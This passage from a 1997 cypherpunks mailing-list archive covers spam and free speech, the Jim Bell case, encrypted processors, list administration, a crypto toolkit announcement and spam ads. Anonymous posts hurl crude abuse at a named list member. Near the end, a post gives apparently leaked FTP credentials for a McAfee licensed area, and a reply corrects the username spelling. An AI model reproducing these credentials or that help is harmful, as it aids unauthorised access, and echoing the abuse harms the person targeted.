convince the other side not to send, that's one thing.  But at the 
point the bits enter your site, you have no choice.

> This is the whole point of a firewall after all. Simply connecting your
> cable to a publicly accessible source implies no more than having your
> driveway end in a public street. It is NOT an open invitation to stroll
> through your living room.

That's a false analogy.  You really say "send me *all* bits, and I will 
look at them and *decide* what to do with them."  Your firewall has to 
receive the bits before it can decide what to do about them.  Any 
decision about what bits to send and what bits not to send must be 
made externally to you -- your equipment and software automatically 
receives every single bit sent to it.

> > Obviously you have not ever entered into contract agreements with an
> > accesses provider. There is no obligation on my part to receive a single
> > bit. If I never run a sendmail daemon then I will never receive a single
> > e-mail message regardless of how many are aimed at my servers. This is the
> > same with any TCP/IP service. The only obligation I have with my upstream
> > provider is to pay my bill. If I choose to bounce everything that is
> > routed from Spamford it is my right to do so as it is *MY* equipment. 
> 
> This is certainly the exact case between myself and my provider for SSZ.

You have to receive the bits before you bounce them.

As far as turning off your sendmail daemon -- that is just moving the
discussion up a protocol level.  You are still stuck with the choice
of accepting all mail, or disconnecting and receiving none -- if you
elect to receive any mail you receive it all.  Once you get it, you
can decide to throw it away, but you still have to receive it to make
that decision.

This is the conundrum of spam.  It exploits a fundamental weakness in
our communication protocols, and illustrates a fundamental
philosophical problem in the realm of freedom of speech through a
finite bandwidth communication channel -- what happens when someone
uses their freedom of speech to overload the channel, thus interfering
with everyone else's freedom of speech? (An information theoretic
"tragedy of the commons".)

Clearly, it seems to me, freedom of speech should not include the
freedom to destroy others freedom of speech by overloading the
channel.  But to avoid this problem you need protocols that govern
access to the channel...protocols which do not exist for email.

And even if you develop such protocols you still have the channel 
overload problem.  You can only read so much email a day -- your 
human input bandwidth is limited.  The supply of interesting email is 
essentially unlimited.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From azur at netcom.com  Sat May 24 23:26:34 1997
From: azur at netcom.com (Steve Schear)
Date: Sun, 25 May 1997 14:26:34 +0800
Subject: Jim Bell Complaint
In-Reply-To: <1.5.4.32.19970523233752.00988164@pop.pipeline.com>
Message-ID: 


>"Beginning at a time unknown, and continuing to the present, at Vancouver,
>within the Western District of Washington and elsewhere, JAMES DALTON BELL
>did corruptly obstruct and impede and endeavor to obstruct and impede the
>due administration of the internal revenue laws, among other things, by
>collecting the names and home addresses of agents and employees of the
>Internal Revenue Service ("IRS") in order to intimidate them in the
>performance of their official functions;"

It seems Jim was a might careless leaving sensitive information lying
around unencrypted.  If true he deserves to serve time for criminal
stupidity.

--Steve







From azur at netcom.com  Sat May 24 23:31:01 1997
From: azur at netcom.com (Steve Schear)
Date: Sun, 25 May 1997 14:31:01 +0800
Subject: Beware of encrypted processors bearing gifts...
In-Reply-To: <199705250228.WAA28391@pig.die.com>
Message-ID: 


The fly in this somewhat "paranoid" ointment is that if it were believeably
rumoured to be true it would set off a stampede to alternate platforms
(Alpha, Power PC, etc.), potentially destroying Intel.  I would not trust
such a platform, but many of the sheeple might until a few high-profile
cases surfaced.

>	I find the notion of an extremely wide deployment (as any Intel
>x86 product will be) of machines with processors that support encrypted
>instruction sets and associated smart cards deeply disquieting.
>
>	It seems to me that this is enabling technology that would allow
>the insertion of autonomous encrypted 'little brothers', into operating
>systems and perhaps major net applications such as web browsers as
>well..  These 'little brother' observers could be made completely opaque
>to even determined and sophisticated users - with encrypted code and the
>potential for encryption of all their data it would require breaking the
>encryption for an independant entity to understand what such an agent
>was doing and who it was doing it for.  And by making support of such
>agents part of the encrypted inner ring of an OS (Win99?), it might be
>very nearly impossible to run the OS without the agent or agents present
>and operating properly.   And as more and more PCs are net connected,
>such agents would not need to operate entirely autonomously, as they
>could communicate over encrypted links with their Big Brother somewhere
>else.


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From azur at netcom.com  Sat May 24 23:34:44 1997
From: azur at netcom.com (Steve Schear)
Date: Sun, 25 May 1997 14:34:44 +0800
Subject: Beware of encrypted processors bearing gifts...
In-Reply-To: <3.0.32.19970524204444.00739384@netcom13.netcom.com>
Message-ID: 


>I strongly agree with you. While the motivation that lead to the
>development of such processors stems probably from the desire to thwart
>software piracy, it will make implementation of the "Internet Driver
>License" that much easier.

I don't agree.  Although some in D.C. and elsewhere might push for such
measure they would never pass constitutional muster.  And if they did there
would be enough taking civil disobedient action or greater to thwart such
measures.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From rwright at adnetsol.com  Sun May 25 01:15:35 1997
From: rwright at adnetsol.com (Ross Wright)
Date: Sun, 25 May 1997 16:15:35 +0800
Subject: SIGH Geiger clueless again
Message-ID: <199705250802.BAA27333@adnetsol.adnetsol.com>


On or About 24 May 97 at 22:42, Kent Crispin wrote:

> This is the conundrum of spam.  It exploits a fundamental weakness
> in our communication protocols, and illustrates a fundamental
> philosophical problem in the realm of freedom of speech through a
> finite bandwidth communication channel -- what happens when someone
> uses their freedom of speech to overload the channel, thus
> interfering with everyone else's freedom of speech? (An information
> theoretic "tragedy of the commons".)
> 
> Clearly, it seems to me, freedom of speech should not include the
> freedom to destroy others freedom of speech by overloading the
> channel. 

There we go, full circle to what started this whole thread.  And 
quite well put.  Seems as if EVERYONE is really clueless about this 
one, not just WHG3.

> But to avoid this problem you need protocols that govern
> access to the channel...protocols which do not exist for email.

And we don't want those.  I think.  1 am on a Saturday, and it's 
really confusing.  As long as I get to keep doing what it is I'm 
doing, I'm happy.

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795






From taxfree at futuregate.com  Sun May 25 16:29:54 1997
From: taxfree at futuregate.com (TaxBuster Guide)
Date: Sun, 25 May 1997 16:29:54 -0700 (PDT)
Subject: Income Tax Newsletter - May
Message-ID: <199705252329.QAA18210@toad.com>


The newsletter this month got so long that I decided to put it up on the web rather then send it out this way. It is an in-depth article on the history of the Federal Income Tax. For anyone with an interest in reducing taxation, it is worth a read.

http://FutureGate.com/tax_buster/history1.html

Best Regards, Jon

_________________________________________________________________

Also, there may have been some REMOVE requests that I did not receive in April, if you are one of those, or, you would like to be removed at this time, just hit reply and send. You will be automatically placed in a permanent REMOVE file.







From The.Card at uumx.smtp.psi.net  Sun May 25 22:43:53 1997
From: The.Card at uumx.smtp.psi.net (The.Card at uumx.smtp.psi.net)
Date: Sun, 25 May 1997 22:43:53 -0700 (PDT)
Subject: 5.95%!!  Believe it!!
Message-ID: <043112553965.UAA43477@ns3.guhert.net>


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From whgiii at amaranth.com  Sun May 25 09:22:22 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Mon, 26 May 1997 00:22:22 +0800
Subject: SSZ Lag Test
Message-ID: <199705251607.LAA28236@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----



- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.                        
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: The CP/M of the future!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM4hxb49Co1n+aLhhAQGzrQP/d27uCWY944vheZ1fYAEzn7xcl8f391jc
fmDwPFFTdrm9+7s1ZXZVLsGPIEEJIQ9wRWjkQh90wBWHKf881s8WIL26fI/GSwOM
aUVdzkwexkEh7A5WLuSMPzgPPQhW/K5Vevb9aS3r5jZiz6upFx+Axhj4SRlBcBLU
+Rnyety6veI=
=vmBu
-----END PGP SIGNATURE-----






From franl at world.std.omit-this.com  Sun May 25 09:31:09 1997
From: franl at world.std.omit-this.com (Francis Litterio)
Date: Mon, 26 May 1997 00:31:09 +0800
Subject: Too few cypherpunks nodes. (fwd)
In-Reply-To: <199705250454.XAA26987@manifold.algebra.com>
Message-ID: <3388646b.353562586@world.std.com>


On Sat, 24 May 1997 23:54:06 -0500 (CDT), Igor Chudov
(ichudov at algebra.com) wrote:

> Maybe we should put together a short document describing what cypherpunks
> lists are there and how to choose them. We can mentions all nodes -- ssz,
> cyberpass, and algebra -- in that document.

I've tried to do that on my Cypherpunks-overview Web page at

	http://world.std.com/~franl/crypto/cypherpunks.html

The Cypherpunks Home Page at

	http://www.csua.berkeley.edu/cypherpunks/Home.html

is out of date regarding the state of the mailing list (and has many
broken links as well).  As I type this, the above host is up but its
Web server is not.
--
Francis Litterio                           PGP Key Fingerprint:
franl at world.std.omit-this.com              02 37 DF 6C 66 43 CD 2C
http://world.std.omit-this.com/~franl/     10 C8 B5 8B 57 34 F3 21
Note: email address and WWW URL altered to prevent spam.

"They that can give up essential liberty to obtain a little temporary 
 safety deserve neither liberty nor safety." -- Ben Franklin, ~1784






From ichudov at algebra.com  Sun May 25 10:03:28 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Mon, 26 May 1997 01:03:28 +0800
Subject: Too few cypherpunks nodes. (fwd)
In-Reply-To: <3388646b.353562586@world.std.com>
Message-ID: <199705251654.LAA30125@manifold.algebra.com>


Francis Litterio wrote:
> (ichudov at algebra.com) wrote:
> 
> > Maybe we should put together a short document describing what cypherpunks
> > lists are there and how to choose them. We can mentions all nodes -- ssz,
> > cyberpass, and algebra -- in that document.
> 
> I've tried to do that on my Cypherpunks-overview Web page at
> 
> 	http://world.std.com/~franl/crypto/cypherpunks.html
> 

Cool! The only paragraph that needs fixing is this:

Page> To subscribe to one of the Cypherpunks mailing list distribution points
Page> send email to (one of) majordomo at algebra.com,
Page> majordomo at sirius.infonex.com, or majordomo at cyberpass.net with the
Page> following text in the body of your email message:

Actually, infonex and cyberpass are the same place. Instead, you
can list majordomo at ssz.com, majordomo at cyberpass.net, and
majordomo at algebra.com.


	- Igor.






From jya at pipeline.com  Sun May 25 10:20:30 1997
From: jya at pipeline.com (John Young)
Date: Mon, 26 May 1997 01:20:30 +0800
Subject: Crypto Policy Paper
Message-ID: <1.5.4.32.19970525165622.0089d0d4@pop.pipeline.com>


We offer a paper distributed at the recent NYC crypto 
forum, 

"Private Groups and Public Policy: Cryptography 
and the National Research Council," 

by Kenneth Dam, professor of law at the University of
Chicago, a panelist at the forum, and chair of the 
NRC panel which produced the report "Cryptography's 
Role in Securing the Information Society," May, 1996.

   http://jya.com/damrole.htm  (63K)

Professor Dam recounts the impact of the NRC report
on the Administration's encryption policy as an example
of how private groups help shape public policy.







From ravage at einstein.ssz.com  Sun May 25 10:32:02 1997
From: ravage at einstein.ssz.com (Jim Choate)
Date: Mon, 26 May 1997 01:32:02 +0800
Subject: CDR & SSZ
Message-ID: <199705251643.LAA24714@einstein.ssz.com>


Hi,

I am in the process of expanding my business. While this will not effect the
stability of the Cypherpunks Distributed Remailer, in fact we hope to make it
more stable, it will mean some additional resources being available in the
near future. I unfortunately can't say more on this now.

However, I can say that 'CyberTects' will most likely cease to exist in a
matter of days. It will be subsumed in the creation of a newer and larger
business entity (we are currently fighting over the name). This new entity
will be taking on the SSZ network & its user base. I will still be directly
responsible for the operation and customer satisfaction of SSZ users.

There will be more announcements in the near future. However, if you have
specific questions (no answer promised) please feel free to send them to me.


                                                    Jim Choate
                                                    CyberTects
                                                    ravage at ssz.com






From ravage at einstein.ssz.com  Sun May 25 10:47:11 1997
From: ravage at einstein.ssz.com (Jim Choate)
Date: Mon, 26 May 1997 01:47:11 +0800
Subject: SSZ Lag Test (fwd)
Message-ID: <199705251654.LAA24764@einstein.ssz.com>


Forwarded message:

> From: "William H. Geiger III" 
> Date: Sun, 25 May 97 11:05:39 -0500
> Subject: SSZ Lag Test

> 

Timing responces from SSZ should probably be averaged about 8-10 times a day
for about a week to get a good idea of what to expect. The majority of the
time the system is not heavily using the ISDN nor are many users logged in.
However, two of my users transmit large blocks of data (one is video and the
other is a web-spider) w/o warning and make a significant impact. We also
tend to have very spikey web access.

                                                     Jim Choate
                                                     ?
                                                     ravage at ssz.com






From nobody at huge.cajones.com  Sun May 25 11:04:19 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 26 May 1997 02:04:19 +0800
Subject: GAK
Message-ID: <199705251746.KAA29719@fat.doobie.com>


Timothy C[unt] May carries a turd in his wallet for identification purposes.

      \|||/
      (o o)
  -ooO-(_)-Ooo- Timothy C[unt] May






From real at freenet.edmonton.ab.ca  Sun May 25 12:03:46 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Mon, 26 May 1997 03:03:46 +0800
Subject: GAK
In-Reply-To: <199705251746.KAA29719@fat.doobie.com>
Message-ID: 


On Sun, 25 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.


> Timothy C[unt] May carries a turd in his wallet for identification purposes.
> 
>       \|||/
>       (o o)
>   -ooO-(_)-Ooo- Timothy C[unt] May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From mixmaster at remail.obscura.com  Sun May 25 12:08:09 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Mon, 26 May 1997 03:08:09 +0800
Subject: No Subject
Message-ID: <199705251828.LAA28714@sirius.infonex.com>


Timothy May is so full of shit that some of it bursts out on this mailing list.

         \|||/
         (o o)
     -ooO-(_)-Ooo- Timothy May






From VACATION.SUPERSTORE/CRUISE.HOLIDAYS at mail.mia.bellsouth.net  Mon May 26 03:46:37 1997
From: VACATION.SUPERSTORE/CRUISE.HOLIDAYS at mail.mia.bellsouth.net (Vacation Superstore/Cruise Holidays)
Date: Mon, 26 May 1997 03:46:37 -0700 (PDT)
Subject: Travel Deal$
Message-ID: <199705260524.BAA24892@mail.mia.bellsouth.net>


EVER SPEND MONEY ON TRAVEL TO FIND 
OUT THAT SOMEONE GOT A BETTER DEAL?

EVER HEAR ABOUT A TRAVEL SALE AFTER
IT EXPIRED OR WAS SOLD OUT?

DON'T MISS OUT! 

RECEIVE A FREE E-MAIL SUBSCRIPTION TO:

TRAVEL DEAL$ NEWSLETTER

WE HAVE INCLUDED A COPY OF OUR MOST RECENT 
ISSUE OF TRAVEL DEAL$ FOR YOU TO EXAMINE.

****************************************************************************************
MAILING LIST INSTRUCTIONS:

If you DO NOT wish to ever hear from us again, - then do nothing!
We will remove you from our mailing list immediately!

If you wish to continue receiving Travel Tips & Deal$ please:  
     Send an e-mail to: VSN at BELLSOUTH.COM
     In the Subject heading type:  SUBSCRIBE DEAL$
     In the body of the letter type: SUBSCRIBE DEAL$

*****************************************************************************************
Here's a sample of our newsletter..
*****************************************************************************************
Hi everyone, from all of us at Vacation Superstore Cruise Holidays!   
We have a lot of cruise deal$ this time in addition to our all-inclusive vacation deal$ and condos.

          *****  CRUISE DEAL$  *****

** Please note that all cruise prices are now quoted to INCLUDE PORT CHARGES
AND GOVERNMENTAL FEES/TAXES.  This should be the practice of all Travel 
Agents effective June 1, 1997.  We are just starting a little early! So please 
remember if you price shop that all prices in our newsletter include port charges 
AND governmental fees/taxes per person.**  

*** Some of our cruise specials are during what is know as Hurricane Season. 
Ask for Details on Cruise Cancellation Insurance that INCLUDES HURRICANE 
COVERAGE from as little as  $ 40.00 per person ! ***

1.  CARNIVAL CRUISE LINES has the following FANTASTIC fall deals. 
       
     A. Carnival Fascination  Category 4 Inside Cabin, Cruise only (airfare add'tl)
          7 Day Southern Caribbean from San Juan
 
            ONLY $499 Per Person for 2 in a cabin!
            ONLY $408 Per Person for 3 in a cabin!
            ONLY $362 Per Person for 4 in a cabin!                                    
        
            LEAVE ANY SATURDAY FROM SEPT. 6TH - OCT 4TH, 1997

     B. Carnival Sensation  Category 4 Inside Cabin, Cruise only (airfare add'tl)
          7 Day Eastern Caribbean from Miami 
          October 11th, 1997 Sailing (Veteran's Day)

             ONLY $569 Per Person for 2 in a cabin!
             ONLY $456 Per Person for 3 in a cabin!
             ONLY $399 Per Person for 4 in a cabin!
    
     C. Carnival Destiny  7 Day Eastern Caribbean from Miami, Cruise only
         August 31st, 1997 Sailing (Labor Day)

             Category 4 Inside    ONLY   $  799 per person
             Category 6 Outside  ONLY   $  889 per person
             Category 8 Balcony ONLY   $1,029 per person
             PRICES GUARANTEED ONLY THROUGH JUNE 6TH               


2.  NORWEGIAN CRUISE LINES has the following FANTASTIC fall deals. 
 
      A.  Norwegian Seaward  7 Day Exotic Southern Caribbean from San Juan
            August 31, 1997 Sailing (Labor Day), Inside Cabins

               ONLY  $ 575 per person for 2 in a cabin!
               ONLY  $ 449 per person for 3 in a cabin!
               ONLY  $ 388 per person for 4 in a cabin!

               AIRFARE ADD-ONS FOR THIS SAILING FROM:

                    $299 per person from Eastern USA!
                    $349 per person from Central USA!
                    $419 per person from Western USA!
                    (3rd & 4th person in a cabin price slightly higher)

     B. Norwegian Seaward 7 Day Exotic Southern Caribbean from San Juan
          November 23, 1997 Sailing (Thanksgiving), Inside Cabins

              ONLY  $ 599 per person for 2 in a cabin!
              ONLY  $ 499 per person for 3 in a cabin!
              ONLY  $ 449 per person for 4 in a cabin!

              AIRFARE ADD-ONS FOR THIS SAILING FROM:

                    $299 per person from Eastern USA!
                    $349 per person from Central USA!
                    $419 per person from Western USA!
                 
3. 5-Star CELEBRITY CRUISE LINES has the following FANTASTIC deals.  

     A.  Celebrity Century 7 day Eastern Caribbean from Ft. Lauderdale
            *** July 5th, 1997 ***  THIS ONE IS HOT!

                Category 9 Inside     $  999 per person 
                Category 4 Outside  $ 1199 per person
                Deposit Deadline is May 29th!
       
     B.  Celebrity Zenith  7 day Bermuda Cruise from New York
           September 20th, 1997

                Inside Cabins from     $ 775 per person
               Outside Cabins from  $ 899 per person

*************************************************************************************

    WINTER 1998 EARLY BOOKING DISCOUNTS !

G U A R A N T E E D   L O W E S T    P R I C E  -  if you place a refundable 
deposit with the Cruise Line and the price goes down (which we are professionally 
telling you is VERY unlikely), then your price goes down - you can't loose when 
you book early through Vacation Superstore!

Look at these Deal$, Prices are guaranteed without deposit until June 15th, unless 
otherwise noted. REMEMBER: PRICES INCLUDE PORT CHARGES & TAXES!

1.  Carnival Tropicale  11 Day  S. Caribbean & Panama Canal from San Juan    
     December 22, 1997 through January 2, 1998
        FROM ONLY $ 1,029 per person, cruise only

2.  Celebrity Horizon  10 Day from Ft. Lauderdale 
     December 26, 1997 through January 5, 1998
       FROM ONLY $ 1,659 per person, cruise only   Deposit Deadline is May 29th!

3.  Carnival Tropicale  10 Day Southern Caribbean from San Juan
     February 13 - 23, 1998  (President's Holiday Week)   HOT DEAL!
       FROM ONLY  $ 799 per person, cruise only  Deposit Deadline is May 29th!

4.  Celebrity Mercury from Ft. Lauderdale (Inaugural Season, Galaxy sister ship)
     February 15 - 22, 1998  7 day Western Caribbean  (President's Week)
       FROM ONLY $ 979 per person, cruise only   UNBELIEVABLE!

5.  Carnival Sensation 7 Day Eastern Caribbean from Miami
     March 7 - 14, 1998 
       FROM ONLY $ 669 per person, cruise only   UNBELEIVABLE!

6.  Carnival Imagination  7 Day Western Caribbean from Miami
     March 14 - 21, 1998
       FROM ONLY $ 729 per person, cruise only   UNBELIEVABLE!

7.  Celebrity Galaxy  7 Day Southern Caribbean from San Juan
     March 21 - 28, 1998
       FROM ONLY $ 875 per person, cruise only   UNBELIEVABLE!
       ASK ABOUT OUR OPTIONAL GOLF PACKAGE AND PLAY
       PLAY 5 OF THE BEST GOLF COURSES IN THE CARIBBEAN!

8.  Carnival Jubilee  7 Day Mexican Riviera from Los Angeles
     April 5 - 12, 1998 (Easter/Passover Vacation)
       FROM ONLY $ 629 per person, cruise only   UNBELIEVABLE!


     ***** ALL INCLUSIVE RESORTS  *****

1. COUPLES, JAMAICA
            7 DAYS, airfare additional
            Deluxe Mountain view Room
            FROM ONLY $1,995 PER COUPLE!
            MANY DATES AVAILABLE,  INCL. HOLIDAYS! 
            Deluxe Oceanview Room only $2,425 per couple.

2. ARUBA:

            TAMAJARIN ARUBA BEACH RESORT
            All Oceanfront Rooms!  Great Winter & Summer Season Rates!
            7 days from  ONLY $1,289 PER PERSON, 
            INCL. EAST COAST AIRFARE!
            
            AMERICANA ARUBA BEACH RESORT & CASINO
            Great Winter & Summer Season Rates!
            7 days from ONLY $1,649 PER PERSON, 
            INCL. EAST COAST AIRFARE!
             
3. BARBADOS

              ALMOND BEACH CLUB & VILLAGE
              Great Winter & Summer Season Rates!
              7 days from only $1,479 PER PERSON,
              INCL. EAST COAST AIRFARE!


    ***** CONDOS *****

1. Florida Condo's from $90.00 per night. Some as large as 1,500
    sq. feet! Call for details.

*********************************************************************
**************** 
Vacation Superstore Network, Cruise Holidays, and 
Travel Tips and Deal$ are registered Trademarks. We are registered in 
the State's of Ohio and Florida and are members of CLIA (Cruise Line 
International Association). 

All payments made to Vacation Superstore/Cruise Holidays are remitted 
immediately to the Vacation supplier for your protection. Ask for details.
                                                                       
Travel Tips and Deal$ can be seen locally on Florida's Treasure Coast 
on WTCN-TV, Channel 16, Stuart, Florida.

*************************************************************************************





From declan at well.com  Sun May 25 13:19:05 1997
From: declan at well.com (Declan McCullagh)
Date: Mon, 26 May 1997 04:19:05 +0800
Subject: Washington Post on crypto
Message-ID: 


Does anyone have a cite to last fall's wrongheaded Washington Post
editorial on crypto? My easily-accessible archives go back only to last
November.

-Declan








From real at freenet.edmonton.ab.ca  Sun May 25 13:54:53 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Mon, 26 May 1997 04:54:53 +0800
Subject: your mail
In-Reply-To: <199705251828.LAA28714@sirius.infonex.com>
Message-ID: 


On Sun, 25 May 1997, Mix wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timothy May is so full of shit that some of it bursts out on this mailing list.
> 
>          \|||/
>          (o o)
>      -ooO-(_)-Ooo- Timothy May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From rsaeuro at repertech.com  Sun May 25 14:11:18 1997
From: rsaeuro at repertech.com (RSAEuro General)
Date: Mon, 26 May 1997 05:11:18 +0800
Subject: ANNOUNCE:- RSAEuro Version 1.04 (Internet) and 1.10 (Commercial)
Message-ID: <3390a11e.23733547@sourcery>


ANNOUNCE:- RSAEuro Version 1.04 (Internet) and 1.10 (Commercial)
================================================================

What is RSAEuro?
----------------

RSAEuro is a cryptographic toolkit providing various functions
for the use of digital signatures, data encryption and supporting
areas (PEM encoding, random number generation etc).  To aid
compatibility with existing software, RSAEuro is call-compatible
with RSADSI's "RSAREF(tm)" toolkit. RSAEuro allows non-US
residents to make use of much of the cryptographic software
previously only (legally) available in the US.

RSAEuro contains support for the following:

*    RSA encryption, decryption and key generation.  Compatible
     with 'RSA Laboratories' Public-Key Cryptography Standard
     (PKCS) #1.

*    Generation and verification of message digests using MD2,
     MD4, MD5 and SHS (SHS currently not implemented in
     higher-level functions to maintain compatibility with
     PKCS).

*    DES encryption and decryption using CBC (1, 2 or 3 keys
     using Encrypt-Decrypt-Encrypt) and DESX(tm), RSADSI's
     secure DES enhancement. Blowfish and RRC.2 encryption and
     decryption using CBC (available in commercial versions
     only).

*    Diffie-Hellman key agreement as defined in PKCS #3.

*    PEM support support for RFC 1421 encoded ASCII data with
     all main functions.

*    Key routines implemented in assembler for speed (80386 and
     680x0 currently supported).

*    Much improved library documentation with code samples.

International Use
-----------------

IMPORTANT NOTICE:  Please do not distribute or use this software
in the US it is 'illegal' to use this toolkit in the US, as RSADSI and
Cylink hold patents relating to public-key cryptography.  If you are a
US resident, please use the RSAREF toolkit instead.

On The Web
----------

RSAEuro can now be found at

http://www.repertech.com/RSAEuro.html

Author Details
--------------

With comments and suggestions, please address them to Stephen Kapp, at
'rsaeuro at repertech.com', for documentation comments suggestions
please address them to Nick Barron, at 'nikb at repertech.com'
----------------------------------------------------------------------------
RSAEURO:      rsaeuro at repertech.com
RSAEURO Bugs: rsaeuro-bugs at repertech.com
Tel:          +44 (0)370 566687
Http:         http://www.repertech.com/RSAEuro.html

RSAEURO - Copyright (c) J.S.A.Kapp 1994-1997.
----------------------------------------------------------------------------
RSAEURO - Cryptography for the World.
Reaper Technologies - Computer Security Specialists






From whgiii at amaranth.com  Sun May 25 14:39:58 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Mon, 26 May 1997 05:39:58 +0800
Subject: SSZ Lag Test (fwd)
In-Reply-To: <199705251654.LAA24764@einstein.ssz.com>
Message-ID: <199705252131.QAA05144@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In <199705251654.LAA24764 at einstein.ssz.com>, on 05/25/97 
   at 11:54 AM, Jim Choate  said:

>Forwarded message:

>> From: "William H. Geiger III" 
>> Date: Sun, 25 May 97 11:05:39 -0500
>> Subject: SSZ Lag Test

>> 

>Timing responces from SSZ should probably be averaged about 8-10 times a
>day for about a week to get a good idea of what to expect. The majority
>of the time the system is not heavily using the ISDN nor are many users
>logged in. However, two of my users transmit large blocks of data (one is
>video and the other is a web-spider) w/o warning and make a significant
>impact. We also tend to have very spikey web access.

Hi Jim,

I currently calculate message lag on all cypherpunks messages as part of
my logging process. I will use these figures to calculate both daily &
weekly max/min/avg. Later on I will include lag between servers ie: a
message posted to algebra and received from cyberpass what is the lag.

In the orriginal message posted "SSZ Lag Test" I have not received this
message from the SSZ server or the cyberpass server only the algebra
server. I have subscribed to the ssz server but have not received any mail
from this server yet. I did receive the following message but am not sure
if I am properly subscribed or not.

To: whgiii at amaranth.com
From: Majordomo at EINSTEIN.ssz.com
Subject: Majordomo results: subscribe cypherpunks at ssz.com
Reply-To: Majordomo at EINSTEIN.ssz.com
X-UIDL: 864570204.000

- --

>>>> subscribe cypherpunks at ssz.com

Please let me know if there is a problem with the cyberpass link or if
there is a problem with my subscription to the ssz.com server.

Thanks,


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.                        
- -----------------------------------------------------------
 
Tag-O-Matic: Windows?  Homey don't play that!

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Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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zbLXfbfllnzE8stn32zY34V5cQEgNzIIx7XHa6IS3Y1h4VGGxH4YV1rjL0EX1NEj
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=G08f
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From nobody at secret.squirrel.owl.de  Sun May 25 15:39:13 1997
From: nobody at secret.squirrel.owl.de (Secret Squirrel)
Date: Mon, 26 May 1997 06:39:13 +0800
Subject: Message
Message-ID: <19970525221757.21291.qmail@squirrel.owl.de>


ftp://licenced:321 at ftp.mcafee.com/licenced/






From bdurham at swbell.net  Sun May 25 15:51:17 1997
From: bdurham at swbell.net (Brian Durham)
Date: Mon, 26 May 1997 06:51:17 +0800
Subject: Message
In-Reply-To: <19970525221757.21291.qmail@squirrel.owl.de>
Message-ID: <3388BE3E.5152@swbell.net>


> ftp://licenced:321 at ftp.mcafee.com/licenced/

Login incorrect






From ryan at michonline.com  Sun May 25 17:38:07 1997
From: ryan at michonline.com (Ryan Anderson)
Date: Mon, 26 May 1997 08:38:07 +0800
Subject: Message
In-Reply-To: <3388BE3E.5152@swbell.net>
Message-ID: 


On Sun, 25 May 1997, Brian Durham wrote:

> > ftp://licenced:321 at ftp.mcafee.com/licenced/
> 
> Login incorrect
> 
> 
Spell licensed correctly.

-----------------------------------------------------------------------
